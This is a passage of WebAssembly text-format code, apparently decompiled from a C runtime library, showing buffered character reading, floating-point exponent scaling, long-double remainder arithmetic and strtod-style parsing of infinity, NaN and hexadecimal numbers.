(i64.load offset=112
(local.get $p0)))))
(br_if $B1
(i64.ge_s
(local.get $l4)
(local.get $l5))))
(br_if $B0
(i32.gt_s
(local.tee $l2
(call $f66
(local.get $p0)))
(i32.const -1)))
(local.set $l1
(i32.load offset=4
(local.get $p0)))
(local.set $l2
(i32.load offset=44
(local.get $p0))))
(i64.store offset=112
(local.get $p0)
(i64.const -1))
(i32.store offset=104
(local.get $p0)
(local.get $l1))
(i64.store offset=120
(local.get $p0)
(i64.add
(local.get $l4)
(i64.extend_i32_s
(i32.sub
(local.get $l2)
(local.get $l1)))))
(return
(i32.const -1)))
(local.set $l4
(i64.add
(local.get $l4)
(i64.const 1)))
(local.set $l1
(i32.load offset=4
(local.get $p0)))
(local.set $l3
(i32.load offset=8
(local.get $p0)))
(block $B3
(br_if $B3
(i64.eq
(local.tee $l5
(i64.load offset=112
(local.get $p0)))
(i64.const 0)))
(br_if $B3
(i64.ge_s
(local.tee $l5
(i64.sub
(local.get $l5)
(local.get $l4)))
(i64.extend_i32_s
(i32.sub
(local.get $l3)
(local.get $l1)))))
(local.set $l3
(i32.add
(local.get $l1)
(i32.wrap_i64
(local.get $l5)))))
(i32.store offset=104
(local.get $p0)
(local.get $l3))
(i64.store offset=120
(local.get $p0)
(i64.add
(local.get $l4)
(i64.extend_i32_s
(i32.sub
(local.tee $l3
(i32.load offset=44
(local.get $p0)))
(local.get $l1)))))
(block $B4
(br_if $B4
(i32.gt_u
(local.get $l1)
(local.get $l3)))
(i32.store8
(i32.add
(local.get $l1)
(i32.const -1))
(local.get $l2)))
(local.get $l2))
(func $f69 (type $t11) (param $p0 f64) (param $p1 i32) (result f64)
(block $B0
(block $B1
(br_if $B1
(i32.lt_s
(local.get $p1)
(i32.const 1024)))
(local.set $p0
(f64.mul
(local.get $p0)
(f64.const 0x1p+1023 (;=8.98847e+307;))))
(block $B2
(br_if $B2
(i32.ge_u
(local.get $p1)
(i32.const 2047)))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const -1023)))
(br $B0))
(local.set $p0
(f64.mul
(local.get $p0)
(f64.const 0x1p+1023 (;=8.98847e+307;))))
(local.set $p1
(i32.add
(select
(local.get $p1)
(i32.const 3069)
(i32.lt_s
(local.get $p1)
(i32.const 3069)))
(i32.const -2046)))
(br $B0))
(br_if $B0
(i32.gt_s
(local.get $p1)
(i32.const -1023)))
(local.set $p0
(f64.mul
(local.get $p0)
(f64.const 0x1p-969 (;=2.00417e-292;))))
(block $B3
(br_if $B3
(i32.le_u
(local.get $p1)
(i32.const -1992)))
(local.set $p1
(i32.add
(local.get $p1)
(i32.const 969)))
(br $B0))
(local.set $p0
(f64.mul
(local.get $p0)
(f64.const 0x1p-969 (;=2.00417e-292;))))
(local.set $p1
(i32.add
(select
(local.get $p1)
(i32.const -2960)
(i32.gt_s
(local.get $p1)
(i32.const -2960)))
(i32.const 1938))))
(f64.mul
(local.get $p0)
(f64.reinterpret_i64
(i64.shl
(i64.extend_i32_u
(i32.add
(local.get $p1)
(i32.const 1023)))
(i64.const 52)))))
(func $f70 (type $t6) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i64) (param $p4 i64)
(i64.store
(local.get $p0)
(local.get $p1))
(i64.store offset=8
(local.get $p0)
(i64.or
(i64.shl
(i64.extend_i32_u
(i32.or
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p4)
(i64.const 48)))
(i32.const 32768))
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p2)
(i64.const 48)))
(i32.const 32767))))
(i64.const 48))
(i64.and
(local.get $p2)
(i64.const 281474976710655)))))
(func $f71 (type $t10) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i32)
(local $l4 i32)
(global.set $g0
(local.tee $l4
(i32.sub
(global.get $g0)
(i32.const 80))))
(block $B0
(block $B1
(br_if $B1
(i32.lt_s
(local.get $p3)
(i32.const 16384)))
(call $f111
(i32.add
(local.get $l4)
(i32.const 32))
(local.get $p1)
(local.get $p2)
(i64.const 0)
(i64.const 9222809086901354496))
(local.set $p2
(i64.load
(i32.add
(i32.add
(local.get $l4)
(i32.const 32))
(i32.const 8))))
(local.set $p1
(i64.load offset=32
(local.get $l4)))
(block $B2
(br_if $B2
(i32.ge_u
(local.get $p3)
(i32.const 32767)))
(local.set $p3
(i32.add
(local.get $p3)
(i32.const -16383)))
(br $B0))
(call $f111
(i32.add
(local.get $l4)
(i32.const 16))
(local.get $p1)
(local.get $p2)
(i64.const 0)
(i64.const 9222809086901354496))
(local.set $p3
(i32.add
(select
(local.get $p3)
(i32.const 49149)
(i32.lt_s
(local.get $p3)
(i32.const 49149)))
(i32.const -32766)))
(local.set $p2
(i64.load
(i32.add
(i32.add
(local.get $l4)
(i32.const 16))
(i32.const 8))))
(local.set $p1
(i64.load offset=16
(local.get $l4)))
(br $B0))
(br_if $B0
(i32.gt_s
(local.get $p3)
(i32.const -16383)))
(call $f111
(i32.add
(local.get $l4)
(i32.const 64))
(local.get $p1)
(local.get $p2)
(i64.const 0)
(i64.const 32088147345014784))
(local.set $p2
(i64.load
(i32.add
(i32.add
(local.get $l4)
(i32.const 64))
(i32.const 8))))
(local.set $p1
(i64.load offset=64
(local.get $l4)))
(block $B3
(br_if $B3
(i32.le_u
(local.get $p3)
(i32.const -32652)))
(local.set $p3
(i32.add
(local.get $p3)
(i32.const 16269)))
(br $B0))
(call $f111
(i32.add
(local.get $l4)
(i32.const 48))
(local.get $p1)
(local.get $p2)
(i64.const 0)
(i64.const 32088147345014784))
(local.set $p3
(i32.add
(select
(local.get $p3)
(i32.const -48920)
(i32.gt_s
(local.get $p3)
(i32.const -48920)))
(i32.const 32538)))
(local.set $p2
(i64.load
(i32.add
(i32.add
(local.get $l4)
(i32.const 48))
(i32.const 8))))
(local.set $p1
(i64.load offset=48
(local.get $l4))))
(call $f111
(local.get $l4)
(local.get $p1)
(local.get $p2)
(i64.const 0)
(i64.shl
(i64.extend_i32_u
(i32.add
(local.get $p3)
(i32.const 16383)))
(i64.const 48)))
(i64.store offset=8
(local.get $p0)
(i64.load
(i32.add
(local.get $l4)
(i32.const 8))))
(i64.store
(local.get $p0)
(i64.load
(local.get $l4)))
(global.set $g0
(i32.add
(local.get $l4)
(i32.const 80))))
(func $f72 (type $t24) (param $p0 i64) (param $p1 i64) (result i32)
(local $l2 i64) (local $l3 i32) (local $l4 i32)
(local.set $l2
(i64.and
(local.get $p1)
(i64.const 281474976710655)))
(block $B0
(block $B1
(br_if $B1
(i32.eq
(local.tee $l3
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p1)
(i64.const 48)))
(i32.const 32767)))
(i32.const 32767)))
(local.set $l4
(i32.const 4))
(br_if $B0
(local.get $l3))
(return
(select
(i32.const 2)
(i32.const 3)
(i64.eqz
(i64.or
(local.get $l2)
(local.get $p0))))))
(local.set $l4
(i64.eqz
(i64.or
(local.get $l2)
(local.get $p0)))))
(local.get $l4))
(func $f73 (type $t6) (param $p0 i32) (param $p1 i64) (param $p2 i64) (param $p3 i64) (param $p4 i64)
(local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i64) (local $l10 i64) (local $l11 i64)
(global.set $g0
(local.tee $l5
(i32.sub
(global.get $g0)
(i32.const 128))))
(block $B0
(block $B1
(block $B2
(br_if $B2
(i32.eqz
(call $f101
(local.get $p3)
(local.get $p4)
(i64.const 0)
(i64.const 0))))
(local.set $l6
(call $f72
(local.get $p3)
(local.get $p4)))
(br_if $B2
(i32.eq
(local.tee $l8
(i32.and
(local.tee $l7
(i32.wrap_i64
(i64.shr_u
(local.get $p2)
(i64.const 48))))
(i32.const 32767)))
(i32.const 32767)))
(br_if $B1
(local.get $l6)))
(call $f111
(i32.add
(local.get $l5)
(i32.const 16))
(local.get $p1)
(local.get $p2)
(local.get $p3)
(local.get $p4))
(call $f103
(local.get $l5)
(local.tee $p4
(i64.load offset=16
(local.get $l5)))
(local.tee $p3
(i64.load
(i32.add
(i32.add
(local.get $l5)
(i32.const 16))
(i32.const 8))))
(local.get $p4)
(local.get $p3))
(local.set $p2
(i64.load
(i32.add
(local.get $l5)
(i32.const 8))))
(local.set $p4
(i64.load
(local.get $l5)))
(br $B0))
(block $B3
(br_if $B3
(i32.gt_s
(call $f101
(local.get $p1)
(local.tee $l9
(i64.or
(i64.shl
(i64.extend_i32_u
(local.get $l8))
(i64.const 48))
(i64.and
(local.get $p2)
(i64.const 281474976710655))))
(local.get $p3)
(local.tee $l10
(i64.or
(i64.shl
(i64.extend_i32_u
(local.tee $l6
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p4)
(i64.const 48)))
(i32.const 32767))))
(i64.const 48))
(i64.and
(local.get $p4)
(i64.const 281474976710655)))))
(i32.const 0)))
(block $B4
(br_if $B4
(i32.eqz
(call $f101
(local.get $p1)
(local.get $l9)
(local.get $p3)
(local.get $l10))))
(local.set $p4
(local.get $p1))
(br $B0))
(call $f111
(i32.add
(local.get $l5)
(i32.const 112))
(local.get $p1)
(local.get $p2)
(i64.const 0)
(i64.const 0))
(local.set $p2
(i64.load
(i32.add
(local.get $l5)
(i32.const 120))))
(local.set $p4
(i64.load offset=112
(local.get $l5)))
(br $B0))
(block $B5
(block $B6
(br_if $B6
(i32.eqz
(local.get $l8)))
(local.set $p4
(local.get $p1))
(br $B5))
(call $f111
(i32.add
(local.get $l5)
(i32.const 96))
(local.get $p1)
(local.get $l9)
(i64.const 0)
(i64.const 4645181540655955968))
(local.set $l8
(i32.add
(i32.wrap_i64
(i64.shr_u
(local.tee $l9
(i64.load
(i32.add
(local.get $l5)
(i32.const 104))))
(i64.const 48)))
(i32.const -120)))
(local.set $p4
(i64.load offset=96
(local.get $l5))))
(block $B7
(br_if $B7
(local.get $l6))
(call $f111
(i32.add
(local.get $l5)
(i32.const 80))
(local.get $p3)
(local.get $l10)
(i64.const 0)
(i64.const 4645181540655955968))
(local.set $l6
(i32.add
(i32.wrap_i64
(i64.shr_u
(local.tee $l10
(i64.load
(i32.add
(local.get $l5)
(i32.const 88))))
(i64.const 48)))
(i32.const -120)))
(local.set $p3
(i64.load offset=80
(local.get $l5))))
(local.set $l11
(i64.or
(i64.and
(local.get $l10)
(i64.const 281474976710655))
(i64.const 281474976710656)))
(local.set $l9
(i64.or
(i64.and
(local.get $l9)
(i64.const 281474976710655))
(i64.const 281474976710656)))
(block $B8
(br_if $B8
(i32.le_s
(local.get $l8)
(local.get $l6)))
(loop $L9
(block $B10
(block $B11
(br_if $B11
(i64.lt_s
(local.tee $l10
(i64.sub
(i64.sub
(local.get $l9)
(local.get $l11))
(i64.extend_i32_u
(i64.lt_u
(local.get $p4)
(local.get $p3)))))
(i64.const 0)))
(block $B12
(br_if $B12
(i64.ne
(i64.or
(local.get $l10)
(local.tee $p4
(i64.sub
(local.get $p4)
(local.get $p3))))
(i64.const 0)))
(call $f111
(i32.add
(local.get $l5)
(i32.const 32))
(local.get $p1)
(local.get $p2)
(i64.const 0)
(i64.const 0))
(local.set $p2
(i64.load
(i32.add
(local.get $l5)
(i32.const 40))))
(local.set $p4
(i64.load offset=32
(local.get $l5)))
(br $B0))
(local.set $l9
(i64.or
(i64.shl
(local.get $l10)
(i64.const 1))
(i64.shr_u
(local.get $p4)
(i64.const 63))))
(br $B10))
(local.set $l9
(i64.or
(i64.shl
(local.get $l9)
(i64.const 1))
(i64.shr_u
(local.get $p4)
(i64.const 63)))))
(local.set $p4
(i64.shl
(local.get $p4)
(i64.const 1)))
(br_if $L9
(i32.gt_s
(local.tee $l8
(i32.add
(local.get $l8)
(i32.const -1)))
(local.get $l6))))
(local.set $l8
(local.get $l6)))
(block $B13
(block $B14
(br_if $B14
(i64.ge_s
(local.tee $l10
(i64.sub
(i64.sub
(local.get $l9)
(local.get $l11))
(i64.extend_i32_u
(i64.lt_u
(local.get $p4)
(local.get $p3)))))
(i64.const 0)))
(local.set $l10
(local.get $l9))
(br $B13))
(br_if $B13
(i64.ne
(i64.or
(local.get $l10)
(local.tee $p4
(i64.sub
(local.get $p4)
(local.get $p3))))
(i64.const 0)))
(call $f111
(i32.add
(local.get $l5)
(i32.const 48))
(local.get $p1)
(local.get $p2)
(i64.const 0)
(i64.const 0))
(local.set $p2
(i64.load
(i32.add
(local.get $l5)
(i32.const 56))))
(local.set $p4
(i64.load offset=48
(local.get $l5)))
(br $B0))
(block $B15
(br_if $B15
(i64.gt_u
(local.get $l10)
(i64.const 281474976710655)))
(loop $L16
(local.set $p3
(i64.shr_u
(local.get $p4)
(i64.const 63)))
(local.set $l8
(i32.add
(local.get $l8)
(i32.const -1)))
(local.set $p4
(i64.shl
(local.get $p4)
(i64.const 1)))
(br_if $L16
(i64.lt_u
(local.tee $l10
(i64.or
(local.get $p3)
(i64.shl
(local.get $l10)
(i64.const 1))))
(i64.const 281474976710656)))))
(local.set $l6
(i32.and
(local.get $l7)
(i32.const 32768)))
(block $B17
(br_if $B17
(i32.gt_s
(local.get $l8)
(i32.const 0)))
(call $f111
(i32.add
(local.get $l5)
(i32.const 64))
(local.get $p4)
(i64.or
(i64.and
(local.get $l10)
(i64.const 281474976710655))
(i64.shl
(i64.extend_i32_u
(i32.or
(i32.add
(local.get $l8)
(i32.const 120))
(local.get $l6)))
(i64.const 48)))
(i64.const 0)
(i64.const 4577627546245398528))
(local.set $p2
(i64.load
(i32.add
(local.get $l5)
(i32.const 72))))
(local.set $p4
(i64.load offset=64
(local.get $l5)))
(br $B0))
(local.set $p2
(i64.or
(i64.and
(local.get $l10)
(i64.const 281474976710655))
(i64.shl
(i64.extend_i32_u
(i32.or
(local.get $l8)
(local.get $l6)))
(i64.const 48)))))
(i64.store
(local.get $p0)
(local.get $p4))
(i64.store offset=8
(local.get $p0)
(local.get $p2))
(global.set $g0
(i32.add
(local.get $l5)
(i32.const 128))))
(func $f74 (type $t25) (param $p0 i32) (param $p1 i64) (param $p2 i64)
(i64.store offset=8
(local.get $p0)
(i64.and
(local.get $p2)
(i64.const 9223372036854775807)))
(i64.store
(local.get $p0)
(local.get $p1)))
(func $f75 (type $t13) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32)
(local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i64) (local $l11 i64) (local $l12 i64)
(global.set $g0
(local.tee $l4
(i32.sub
(global.get $g0)
(i32.const 48))))
(local.set $l10
(i64.const 0))
(block $B0
(block $B1
(br_if $B1
(i32.gt_u
(local.get $p2)
(i32.const 2)))
(local.set $l5
(i32.add
(local.get $p1)
(i32.const 4)))
(local.set $l6
(i32.load
(i32.add
(local.tee $p2
(i32.shl
(local.get $p2)
(i32.const 2)))
(i32.const 2108))))
(local.set $l7
(i32.load
(i32.add
(local.get $p2)
(i32.const 2096))))
(loop $L2
(block $B3
(block $B4
(br_if $B4
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store
(local.get $l5)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $B3))
(local.set $p2
(call $f68
(local.get $p1))))
(br_if $L2
(call $f65
(local.get $p2))))
(local.set $l8
(i32.const 1))
(block $B5
(block $B6
(br_table $B6 $B5 $B6 $B5
(i32.add
(local.get $p2)
(i32.const -43))))
(local.set $l8
(select
(i32.const -1)
(i32.const 1)
(i32.eq
(local.get $p2)
(i32.const 45))))
(block $B7
(br_if $B7
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store
(local.get $l5)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $B5))
(local.set $p2
(call $f68
(local.get $p1))))
(local.set $l9
(i32.const 0))
(block $B8
(block $B9
(block $B10
(loop $L11
(br_if $B10
(i32.ne
(i32.or
(local.get $p2)
(i32.const 32))
(i32.load8_s
(i32.add
(local.get $l9)
(i32.const 1052)))))
(block $B12
(br_if $B12
(i32.gt_u
(local.get $l9)
(i32.const 6)))
(block $B13
(br_if $B13
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store
(local.get $l5)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $B12))
(local.set $p2
(call $f68
(local.get $p1))))
(br_if $L11
(i32.ne
(local.tee $l9
(i32.add
(local.get $l9)
(i32.const 1)))
(i32.const 8)))
(br $B9))
(unreachable))
(block $B14
(br_if $B14
(i32.eq
(local.get $l9)
(i32.const 3)))
(br_if $B9
(i32.eq
(local.get $l9)
(i32.const 8)))
(br_if $B8
(i32.eqz
(local.get $p3)))
(br_if $B8
(i32.lt_u
(local.get $l9)
(i32.const 4)))
(br_if $B9
(i32.eq
(local.get $l9)
(i32.const 8))))
(block $B15
(br_if $B15
(i64.lt_s
(local.tee $l10
(i64.load offset=112
(local.get $p1)))
(i64.const 0)))
(i32.store
(local.get $l5)
(i32.add
(i32.load
(local.get $l5))
(i32.const -1))))
(br_if $B9
(i32.eqz
(local.get $p3)))
(br_if $B9
(i32.lt_u
(local.get $l9)
(i32.const 4)))
(local.set $p1
(i64.lt_s
(local.get $l10)
(i64.const 0)))
(loop $L16
(block $B17
(br_if $B17
(local.get $p1))
(i32.store
(local.get $l5)
(i32.add
(i32.load
(local.get $l5))
(i32.const -1))))
(br_if $L16
(i32.gt_u
(local.tee $l9
(i32.add
(local.get $l9)
(i32.const -1)))
(i32.const 3)))))
(call $f105
(local.get $l4)
(f32.mul
(f32.convert_i32_s
(local.get $l8))
(f32.const inf (;=inf;))))
(local.set $l11
(i64.load
(i32.add
(local.get $l4)
(i32.const 8))))
(local.set $l10
(i64.load
(local.get $l4)))
(br $B0))
(block $B18
(block $B19
(block $B20
(br_if $B20
(local.get $l9))
(local.set $l9
(i32.const 0))
(loop $L21
(br_if $B20
(i32.ne
(i32.or
(local.get $p2)
(i32.const 32))
(i32.load8_s
(i32.add
(local.get $l9)
(i32.const 1135)))))
(block $B22
(br_if $B22
(i32.gt_u
(local.get $l9)
(i32.const 1)))
(block $B23
(br_if $B23
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store
(local.get $l5)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $B22))
(local.set $p2
(call $f68
(local.get $p1))))
(br_if $L21
(i32.ne
(local.tee $l9
(i32.add
(local.get $l9)
(i32.const 1)))
(i32.const 3)))
(br $B19))
(unreachable))
(block $B24
(block $B25
(br_table $B25 $B24 $B24 $B19 $B24
(local.get $l9)))
(block $B26
(br_if $B26
(i32.ne
(local.get $p2)
(i32.const 48)))
(block $B27
(block $B28
(br_if $B28
(i32.eq
(local.tee $l9
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store
(local.get $l5)
(i32.add
(local.get $l9)
(i32.const 1)))
(local.set $l9
(i32.load8_u
(local.get $l9)))
(br $B27))
(local.set $l9
(call $f68
(local.get $p1))))
(block $B29
(br_if $B29
(i32.ne
(i32.and
(local.get $l9)
(i32.const -33))
(i32.const 88)))
(call $f76
(i32.add
(local.get $l4)
(i32.const 16))
(local.get $p1)
(local.get $l7)
(local.get $l6)
(local.get $l8)
(local.get $p3))
(local.set $l11
(i64.load
(i32.add
(local.get $l4)
(i32.const 24))))
(local.set $l10
(i64.load offset=16
(local.get $l4)))
(br $B0))
(br_if $B26
(i64.lt_s
(i64.load offset=112
(local.get $p1))
(i64.const 0)))
(i32.store
(local.get $l5)
(i32.add
(i32.load
(local.get $l5))
(i32.const -1))))
(call $f77
(i32.add
(local.get $l4)
(i32.const 32))
(local.get $p1)
(local.get $p2)
(local.get $l7)
(local.get $l6)
(local.get $l8)
(local.get $p3))
(local.set $l11
(i64.load
(i32.add
(local.get $l4)
(i32.const 40))))
(local.set $l10
(i64.load offset=32
(local.get $l4)))
(br $B0))
(local.set $l10
(i64.const 0))
(block $B30
(br_if $B30
(i64.lt_s
(i64.load offset=112
(local.get $p1))
(i64.const 0)))
(i32.store
(local.get $l5)
(i32.add
(i32.load
(local.get $l5))
(i32.const -1))))
(i32.store
(call $__errno_location)
(i32.const 28))
(br $B18))
(block $B31
(block $B32
(br_if $B32
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store
(local.get $l5)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $B31))
(local.set $p2
(call $f68
(local.get $p1))))
(block $B33
(block $B34
(br_if $B34
(i32.ne
(local.get $p2)
(i32.const 40)))
(local.set $l9
(i32.const 1))
(br $B33))
(local.set $l10
(i64.const 0))
(local.set $l11
(i64.const 9223231299366420480))
(br_if $B0
(i64.lt_s
(i64.load offset=112
(local.get $p1))
(i64.const 0)))
(i32.store
(local.get $l5)
(i32.add
(i32.load
(local.get $l5))
(i32.const -1)))
(br $B0))
(loop $L35
(block $B36
(block $B37
(br_if $B37
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store
(local.get $l5)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $B36))
(local.set $p2
(call $f68
(local.get $p1))))
(local.set $l8
(i32.add
(local.get $p2)
(i32.const -65)))
(block $B38
(block $B39
(br_if $B39
(i32.lt_u
(i32.add
(local.get $p2)
(i32.const -48))
(i32.const 10)))
(br_if $B39
(i32.lt_u
(local.get $l8)
(i32.const 26)))
(local.set $l8
(i32.add
(local.get $p2)
(i32.const -97)))
(br_if $B39
(i32.eq
(local.get $p2)
(i32.const 95)))
(br_if $B38
(i32.ge_u
(local.get $l8)
(i32.const 26))))
(local.set $l9
(i32.add
(local.get $l9)
(i32.const 1)))
(br $L35)))
(local.set $l11
(i64.const 9223231299366420480))
(br_if $B0
(i32.eq
(local.get $p2)
(i32.const 41)))
(block $B40
(br_if $B40
(i64.lt_s
(local.tee $l12
(i64.load offset=112
(local.get $p1)))
(i64.const 0)))
(i32.store
(local.get $l5)
(i32.add
(i32.load
(local.get $l5))
(i32.const -1))))
(block $B41
(block $B42
(br_if $B42
(i32.eqz
(local.get $p3)))
(br_if $B41
(local.get $l9))
(local.set $l10
(i64.const 0))
(br $B0))
(i32.store
(call $__errno_location)
(i32.const 28))
(local.set $l10
(i64.const 0))
(br $B18))
(loop $L43
(local.set $l9
(i32.add
(local.get $l9)
(i32.const -1)))
(block $B44
(br_if $B44
(i64.lt_s
(local.get $l12)
(i64.const 0)))
(i32.store
(local.get $l5)
(i32.add
(i32.load
(local.get $l5))
(i32.const -1))))
(local.set $l10
(i64.const 0))
(br_if $L43
(local.get $l9))
(br $B0))
(unreachable))
(call $f67
(local.get $p1)
(local.get $l10)))
(local.set $l11
(i64.const 0)))
(i64.store
(local.get $p0)
(local.get $l10))
(i64.store offset=8
(local.get $p0)
(local.get $l11))
(global.set $g0
(i32.add
(local.get $l4)
(i32.const 48))))
(func $f76 (type $t26) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32) (param $p4 i32) (param $p5 i32)
(local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i64) (local $l15 i64) (local $l16 i64) (local $l17 i64) (local $l18 i64) (local $l19 i64) (local $l20 i64)
(global.set $g0
(local.tee $l6
(i32.sub
(global.get $g0)
(i32.const 432))))
(block $B0
(block $B1
(br_if $B1
(i32.eq
(local.tee $l7
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $l7)
(i32.const 1)))
(local.set $l7
(i32.load8_u
(local.get $l7)))
(br $B0))
(local.set $l7
(call $f68
(local.get $p1))))
(local.set $l8
(i32.const 0))
(local.set $l14
(i64.const 0))
(local.set $l9
(i32.const 0))
(block $B2
(block $B3
(block $B4
(loop $L5
(block $B6
(br_if $B6
(i32.eq
(local.get $l7)
(i32.const 48)))
(br_if $B2
(i32.ne
(local.get $l7)
(i32.const 46)))
(br_if $B4
(i32.eq
(local.tee $l7
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $l7)
(i32.const 1)))
(local.set $l7
(i32.load8_u
(local.get $l7)))
(br $B3))
(block $B7
(br_if $B7
(i32.eq
(local.tee $l7
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(local.set $l9
(i32.const 1))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $l7)
(i32.const 1)))
(local.set $l7
(i32.load8_u
(local.get $l7)))
(br $L5))
(local.set $l9
(i32.const 1))
(local.set $l7
(call $f68
(local.get $p1)))
(br $L5))
(unreachable))
(local.set $l7
(call $f68
(local.get $p1))))
(local.set $l8
(i32.const 1))
(local.set $l14
(i64.const 0))
(br_if $B2
(i32.ne
(local.get $l7)
(i32.const 48)))
(loop $L8
(block $B9
(block $B10
(br_if $B10
(i32.eq
(local.tee $l7
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $l7)
(i32.const 1)))
(local.set $l7
(i32.load8_u
(local.get $l7)))
(br $B9))
(local.set $l7
(call $f68
(local.get $p1))))
(local.set $l14
(i64.add
(local.get $l14)
(i64.const -1)))
(br_if $L8
(i32.eq
(local.get $l7)
(i32.const 48))))
(local.set $l8
(i32.const 1))
(local.set $l9
(i32.const 1)))
(local.set $l15
(i64.const 4611404543450677248))
(local.set $l10
(i32.const 0))
(local.set $l16
(i64.const 0))
(local.set $l17
(i64.const 0))
(local.set $l18
(i64.const 0))
(local.set $l11
(i32.const 0))
(local.set $l19
(i64.const 0))
(block $B11
(block $B12
(loop $L13
(local.set $l12
(i32.or
(local.get $l7)
(i32.const 32)))
(block $B14
(block $B15
(br_if $B15
(i32.lt_u
(local.tee $l13
(i32.add
(local.get $l7)
(i32.const -48)))
(i32.const 10)))
(block $B16
(br_if $B16
(i32.lt_u
(i32.add
(local.get $l12)
(i32.const -97))
(i32.const 6)))
(br_if $B11
(i32.ne
(local.get $l7)
(i32.const 46))))
(br_if $B15
(i32.ne
(local.get $l7)
(i32.const 46)))
(br_if $B12
(local.get $l8))
(local.set $l8
(i32.const 1))
(local.set $l14
(local.get $l19))
(br $B14))
(local.set $l7
(select
(i32.add
(local.get $l12)
(i32.const -87))
(local.get $l13)
(i32.gt_s
(local.get $l7)
(i32.const 57))))
(block $B17
(block $B18
(br_if $B18
(i64.gt_s
(local.get $l19)
(i64.const 7)))
(local.set $l10
(i32.add
(local.get $l7)
(i32.shl
(local.get $l10)
(i32.const 4))))
(br $B17))
(block $B19
(br_if $B19
(i64.gt_u
(local.get $l19)
(i64.const 28)))
(call $f106
(i32.add
(local.get $l6)
(i32.const 48))
(local.get $l7))
(call $f111
(i32.add
(local.get $l6)
(i32.const 32))
(local.get $l18)
(local.get $l15)
(i64.const 0)
(i64.const 4610278643543834624))
(call $f111
(i32.add
(local.get $l6)
(i32.const 16))
(i64.load offset=48
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 48))
(i32.const 8)))
(local.tee $l18
(i64.load offset=32
(local.get $l6)))
(local.tee $l15
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 32))
(i32.const 8)))))
(call $f99
(local.get $l6)
(i64.load offset=16
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 16))
(i32.const 8)))
(local.get $l16)
(local.get $l17))
(local.set $l17
(i64.load
(i32.add
(local.get $l6)
(i32.const 8))))
(local.set $l16
(i64.load
(local.get $l6)))
(br $B17))
(br_if $B17
(i32.eqz
(local.get $l7)))
(br_if $B17
(local.get $l11))
(call $f111
(i32.add
(local.get $l6)
(i32.const 80))
(local.get $l18)
(local.get $l15)
(i64.const 0)
(i64.const 4611123068473966592))
(call $f99
(i32.add
(local.get $l6)
(i32.const 64))
(i64.load offset=80
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 80))
(i32.const 8)))
(local.get $l16)
(local.get $l17))
(local.set $l17
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 64))
(i32.const 8))))
(local.set $l11
(i32.const 1))
(local.set $l16
(i64.load offset=64
(local.get $l6))))
(local.set $l19
(i64.add
(local.get $l19)
(i64.const 1)))
(local.set $l9
(i32.const 1)))
(block $B20
(br_if $B20
(i32.eq
(local.tee $l7
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $l7)
(i32.const 1)))
(local.set $l7
(i32.load8_u
(local.get $l7)))
(br $L13))
(local.set $l7
(call $f68
(local.get $p1)))
(br $L13))
(unreachable))
(local.set $l7
(i32.const 46)))
(block $B21
(block $B22
(br_if $B22
(local.get $l9))
(block $B23
(block $B24
(block $B25
(br_if $B25
(i64.lt_s
(i64.load offset=112
(local.get $p1))
(i64.const 0)))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.tee $l7
(i32.load offset=4
(local.get $p1)))
(i32.const -1)))
(br_if $B24
(i32.eqz
(local.get $p5)))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $l7)
(i32.const -2)))
(br_if $B23
(i32.eqz
